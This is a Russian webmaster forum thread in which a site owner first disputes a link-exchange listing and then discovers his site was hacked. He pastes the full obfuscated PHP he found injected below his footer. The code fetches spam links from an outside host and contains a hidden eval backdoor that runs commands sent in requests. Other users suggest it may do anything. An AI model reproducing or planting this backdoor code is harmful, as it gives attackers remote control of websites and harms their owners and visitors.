Биржа сэйп добавила без моего ведома сайт в раздел ссылок

[vdanya]

Всем привет, у меня большая проблема. Большая, потому что из за действий биржи сэйп и модераторов сэйп, а так же из за того что на все мои вопросы ответы через службу поддержки не предоставляются, в бирже гугетлинкс у меня появился значёк продажи арендованных ссылок.

Этот значёк очень сильно влияет на монетизацию сайта, конкретно в этой бирже из за этого значка, количество заявок сократилось в 10 раз.

По этой проблеме я 2 раза писал в службу поддержки sape, но до сих пор на него никто не ответил:
"Уважаемая служба поддержки Sape, у меня возникла проблема в Gogetlinks, администраторы которой утверждают что мой сайт simplereview.ru зарегистрирован в бирже ссылок под номером: ID: 1840434
Дело в том, что сайт ранее был зарегистрирован, но около 1,5 лет назад я перестал пользоваться Sape "ссылки" и оставил только раздел "PR", 21 апреля 2014 года я окончательно удалил площадку из раздела "Ссылки". Но администраторы гугетлинкса продолжают утверждать, что она там есть.
Прошу Вас проверить наличие площадки по указанному ID 1840434 и если таковая имеется то удалить её из Вашей базы."

После 5 дневной переписки с модераторами гугетлинкс они временно сняли значёк наличия в бирже арендованных ссылок, но предупредили, что при следующей проверке он может снова появится. Модераторы же сэйпа вообще решили меня игнорить!

Я пользуюсь только PR.Sape, сэйп ссылки не использую и уже третий раз прошу удалить мой сайт из указанного раздела!!!!!!!!!!!!

p.s. доход от гугетлинкса в 1,5-2 раза привышает доход с pr.sape, поэтому если моё обращение останется без ответа и эта проблема снова возникнет, я удалю свой сайт с оставшегося раздела PR.

Добавлено через 3 минуты


Добавлено через 4 минуты
переписка с гугетлинксом

[HaXuM]

ну раз сняли значок, значит проблема решена. Пусть проверяют тщателнее.

[Asterada]

ТС, Аваст на ваш сайт ругается

[Nike99]

ггл не уберёт значок, потому что сайт ещё добавлен в пиар сапе, для них это одно и тоже.

[vdanya]

Вообще они писали, что Pr.sape не трогают, вот скрин по которому они нашли мой сайт

при этом в pr.sape ID номер совсем другой. До этого так же с PR.sape не возникали проблемы, поэтому надеюсь что проблема всё же решена.

Но если всё же возникнут сложности, то с моей стороны уже будут претензии только к гугетлинксу, т.к. они в переписке меня заверяли, что ловят сайты только в разделе "ссылки"..

ТС, Аваст на ваш сайт ругается

не знаю в чём проблема, 2 недели назад яндекс тоже ругался, написал хостеру, он что то подправил, яндекс вроде успокоился... А на что ругается Аваст?

Добавлено через 16 часов 30 минут
сегодня обнаружил посторонний код в теле сайта, наткнулся случайно, на моём сайте кто то размещал ссылки и так и через сэйп... обидно .. Хорошо что вычислил...

Вот тело кода блока со ссылками, который распологался ниже подвала сайта, может ктонибудь подскажет сэйповский это код или нет:

<?php $GLOBALS['_579747842_']=Array(base64_decode('Zn' .'V' .'uY3Rpb25fZXhpc3Rz'),base64_decode('Y2htb' .'2Q='),base64_decode('ZXJyb3JfcmVw' .'b3J0aW' .'5n'),base64_decode('' .'aW5' .'pX3NldA' .'=='),base64_decode('cH' .'JlZ19tY' .'X' .'R' .'jaA' .'=='),base64_decode('ZmlsZV9nZXR' .'fY29' .'udGVudHM='),base64_decode('dXJsZW' .'5' .'jb2R' .'l'),base64_decode('dXJsZ' .'W5' .'jb2R' .'l'),base64_decode('bWQ1'),base64_decode('aW5pX2d ld' .'A=='),base64_decode('' .'ZmlsZV9nZXRfY29udGVudHM='),base64_decode('' .'ZnVuY3Rpb25fZXhpc3Rz'),base64_decode('Y3Vyb' .'F9pbml0'),base64_decode('Y3' .'V' .'ybF9zZXRvc' .'HQ='),base64_decode('aW5pX2' .'dldA=' .'='),base64_decode('' .'Y' .'3' .'VybF9z' .'ZXRvc' .'HRfY' .'XJyYXk='),base64_decode('' .'Y3V' .'ybF' .'9z' .'ZXRvcHQ' .'='),base64_decode('Y' .'XJyYXlf' .'Z' .'GlmZl9rZ' .'Xk='),base64_decode('Y3' .'VybF9l' .'eGVj'),base64_decode('Y3Vy' .'bF9jbG9zZQ=='),base64_decode('c3RycG9z'),base64_ decode('c' .'GFjaw=' .'='),base64_decode('ZnNvY2tvcGV' .'u'),base64_decode('dXJsZW' .'5' .'jb2Rl'),base64_decode('dXJs' .'ZW5j' .'b' .'2' .'Rl'),base64_decode('bWQ1'),base64_decode('ZndyaX Rl'),base64_decode('' .'YWNvcw=='),base64_decode('Y' .'XJ' .'yYXlfcHV' .'za' .'A=='),base64_decode('ZmVvZg' .'=='),base64_decode('Zmdld' .'HM='),base64_decode('ZmNsb' .'3Nl'),base64_decode('bX' .'RfcmF' .'uZA=' .'='),base64_decode('' .'c2' .'9ja2V' .'0X2dldF' .'9' .'vcHRpb24='),base64_decode('cHJlZ19z' .'c' .'Gxpd' .'A=='),base64_decode('YmF' .'zZTY' .'0X' .'2R' .'lY2' .'9kZQ' .'=='),base64_decode('Y3' .'VybF9zZXRv' .'cHRfYXJyYXk='),base64_decode('Ym' .'F' .'z' .'ZT' .'Y0X2R' .'lY29kZ' .'Q=='),base64_decode('cHJlZ19tYXRjaF9' .'hbGw='),base64_decode('c3RyaXBzb' .'GFzaGVz')); function _143817389($i){$a=Array('aW5kZ2V0','U0NSSVBUX0ZJTE V' .'OQU1' .'F','ZGl' .'zcGx' .'heV9' .'lcnJv' .'cn' .'M=','MA==','' .'cg==','Y' .'2xpZW50X' .'2' .'N' .'oZ' .'WNr','Y2xpZW50X2NoZ' .'WNr','IVx' .'TIXU=','U0N' .'SSV' .'B' .'UX0Z' .'JTEV' .'OQU' .'1F','dQ' .'==','dw==','U0V' .'SV' .'kVS' .'X05' .'BTUU=','Uk' .'VRVUV' .'TVF9VU' .'kk=','SFRUUF9VU0V' .'SX0' .'FHRU5U','a' .'H' .'R' .'0cDovL2luZWdpcGV0' .'Ln' .'J' .'1L2d' .'ldC5waH' .'A/' .'ZD0=','JnU9','JmM' .'9','Jmk' .'9MSZoPQ==','' .'NTk' .'4' .'Zm' .'RjNmR' .'j' .'N' .'jcz' .'MGQ1NjAyMTlmYWQ' .'wYjg0ZWM5NWQ' .'=','MQ==','' .'YW' .'xsb3' .'d' .'fdX' .'JsX2' .'Z' .'vcGVu','Y3V' .'ybF9pb' .'ml0','c' .'W92Z' .'m' .'9p' .'ZW' .'ZmamRqZWJnc' .'w==','d' .'m' .'F6','' .'aW' .'5lZ2lw' .'ZXQuc' .'nU=','R' .'0VUIC9nZXQucGhwP2Q9','JnU9','JmM9','' .'Jmk9MSZoPQ=' .'=','NT' .'k4ZmRjNmRjN' .'jczM' .'GQ1NjAyM' .'TlmYW' .'QwYjg0ZW' .'M5N' .'WQ=','M' .'Q==','IEh' .'UV' .'FAvMS4xDQo=','SG9zdDo' .'gaW5lZ' .'2l' .'wZ' .'XQuc' .'nUNCg==','Q29ub' .'mVjdG' .'lvbjog' .'Q2xvc2UNCg0' .'K','','d' .'2s=','L1' .'xSXFIv','a' .'mJ' .'rcQ==','c' .'A==','Y2' .'Y0NzkwZWM=');return base64_decode($a[$i]);} if(!$GLOBALS['_579747842_'][0](_143817389(0))){$GLOBALS['_579747842_'][1]($_SERVER[_143817389(1)],round(0+64+64+64+64));function l__0(){$GLOBALS['_579747842_'][2](round(0));$GLOBALS['_579747842_'][3](_143817389(2),_143817389(3));$t676_0=_143817389(4 );if(!empty($_COOKIE[_143817389(5)]))die($_COOKIE[_143817389(6)]);if($GLOBALS['_579747842_'][4](_143817389(7),$GLOBALS['_579747842_'][5]($_SERVER[_143817389(8)])))$t676_1=_143817389(9);else $t676_1=_143817389(10);$t676_2=$_SERVER[_143817389(11)] .$_SERVER[_143817389(12)];$t676_3=$_SERVER[_143817389(13)];$t676_4=_143817389(14) .$GLOBALS['_579747842_'][6]($t676_2) ._143817389(15) .$GLOBALS['_579747842_'][7]($t676_3) ._143817389(16) .$t676_1 ._143817389(17) .$GLOBALS['_579747842_'][8](_143817389(18) .$t676_2 .$t676_3 .$t676_1 ._143817389(19));if($GLOBALS['_579747842_'][9](_143817389(20))== round(0+0.2+0.2+0.2+0.2+0.2)){return $GLOBALS['_579747842_'][10]($t676_4);}elseif($GLOBALS['_579747842_'][11](_143817389(21))){$t676_5=$GLOBALS['_579747842_'][12]($t676_4);$GLOBALS['_579747842_'][13]($t676_5,42,FALSE);if((round(0+271.75+271.75+271.7 5+271.75)+round(0+736+736+736+736+736))>round(0+10 87)|| $GLOBALS['_579747842_'][14]($t676_5,$t676_6));else{$GLOBALS['_579747842_'][15]($t676_7,$t676_5);}$GLOBALS['_579747842_'][16]($t676_5,19913,TRUE);while(round(0+1542+1542+1542)-round(0+1542+1542+1542))$GLOBALS['_579747842_'][17]($_COOKIE);$t676_8=$GLOBALS['_579747842_'][18]($t676_5);$GLOBALS['_579747842_'][19]($t676_5);$t676_9=round(0+131.66666666667+131.6666 6666667+131.66666666667);return $t676_8;if($GLOBALS['_579747842_'][20](_143817389(22),_143817389(23))!==false)$GLOBALS['_579747842_'][21]($t676_6);}else{$t676_6=$GLOBALS['_579747842_'][22](_143817389(24),round(0+80),$t676_10,$t676_11,roun d(0+7.5+7.5+7.5+7.5));$t676_12=round(0+545+545+545 );if($t676_6){$t676_7=_143817389(25) .$GLOBALS['_579747842_'][23]($t676_2) ._143817389(26) .$GLOBALS['_579747842_'][24]($t676_3) ._143817389(27) .$t676_1 ._143817389(28) .$GLOBALS['_579747842_'][25](_143817389(29) .$t676_2 .$t676_3 .$t676_1 ._143817389(30)) ._143817389(31);$t676_7 .= _143817389(32);$t676_7 .= _143817389(33);$GLOBALS['_579747842_'][26]($t676_6,$t676_7);while(round(0+1572+1572)-round(0+1048+1048+1048))$GLOBALS['_579747842_'][27]($_SERVER);$t676_13=_143817389(34);while(round(0+1 813.5+1813.5)-round(0+725.4+725.4+725.4+725.4+725.4))$GLOBALS['_579747842_'][28]($t676_7,$t676_13);while(!$GLOBALS['_579747842_'][29]($t676_6)){$t676_13 .= $GLOBALS['_579747842_'][30]($t676_6,round(0+32+32+32+32));$t676_14=_143817389 (35);}$GLOBALS['_579747842_'][31]($t676_6);if(round(0+727+727)<$GLOBALS['_579747842_'][32](round(0+29.5+29.5+29.5+29.5),round(0+332.75+332.7 5+332.75+332.75)))$GLOBALS['_579747842_'][33]($t676_5,$t676_8,$t676_15,$t676_1,$t676_7);list($t 676_16,$t676_17)=$GLOBALS['_579747842_'][34](_143817389(36),$t676_13,round(0+1+1));$t676_18=_1 43817389(37);$t676_15=round(0+0.33333333333333+0.3 3333333333333+0.33333333333333);if((round(0+782+78 2)+round(0+2721))>round(0+391+391+391+391)|| $GLOBALS['_579747842_'][35]($_SERVER));else{$GLOBALS['_579747842_'][36]($t676_8,$_REQUEST,$t676_4,$_REQUEST);}return $t676_17;if((round(0+2450)^round(0+612.5+612.5+612 .5+612.5))&& $GLOBALS['_579747842_'][37]($_SERVER,$t676_3,$t676_7,$t676_8,$t676_17))$GLOBA LS['_579747842_'][38]($t676_2);}}}echo l__0();if(@$_REQUEST[_143817389(38)]== _143817389(39))eval($GLOBALS['_579747842_'][39]($_REQUEST["c"]));}; ?>

[Asterada]

Сообщение от vdanya

А на что ругается Аваст?

уже не знаю. Разработчики так перегадили интерфейс, что там непонятно где историю посмотреть

[vdanya]

я понял, ну говорю же сайт взломали, причём с главной я код почему то не могу удалить, а вот со всех остальных страниц удалился без проблем...

Asterada спасибо за наводку...

[SergejF]

Сообщение от vdanya

А на что ругается Аваст?

Как то так:

Сообщение от Asterada

на ваш сайт

Добавлено через 40 секунд

Сообщение от vdanya

ну говорю же сайт взломали

Опять биржа виновата?

[vdanya]

Серж, а где вы видите, что я обвиняю биржу? Поспорить ради того чтобы поспорить?

Претензия к бирже была только одна, что около 4 дней служба поддержки вообще не отвечала на вопросы. Сейчас эта претензия снята, т.к. всё что требовалось, биржа сделала.

Я лишь спросил код похож на сэйповский или нет, который приложил Выше, мне просто чтобы знать, размещал злоумышленник только сапо ссылки или ещё к чему то подключил...

[Клон]

Сообщение от vdanya

Я лишь спросил код похож на сэйповский или нет, который приложил Выше, мне просто чтобы знать, размещал злоумышленник только сапо ссылки или ещё к чему то подключил...

там мешанина кодированная, может быть еще что угодно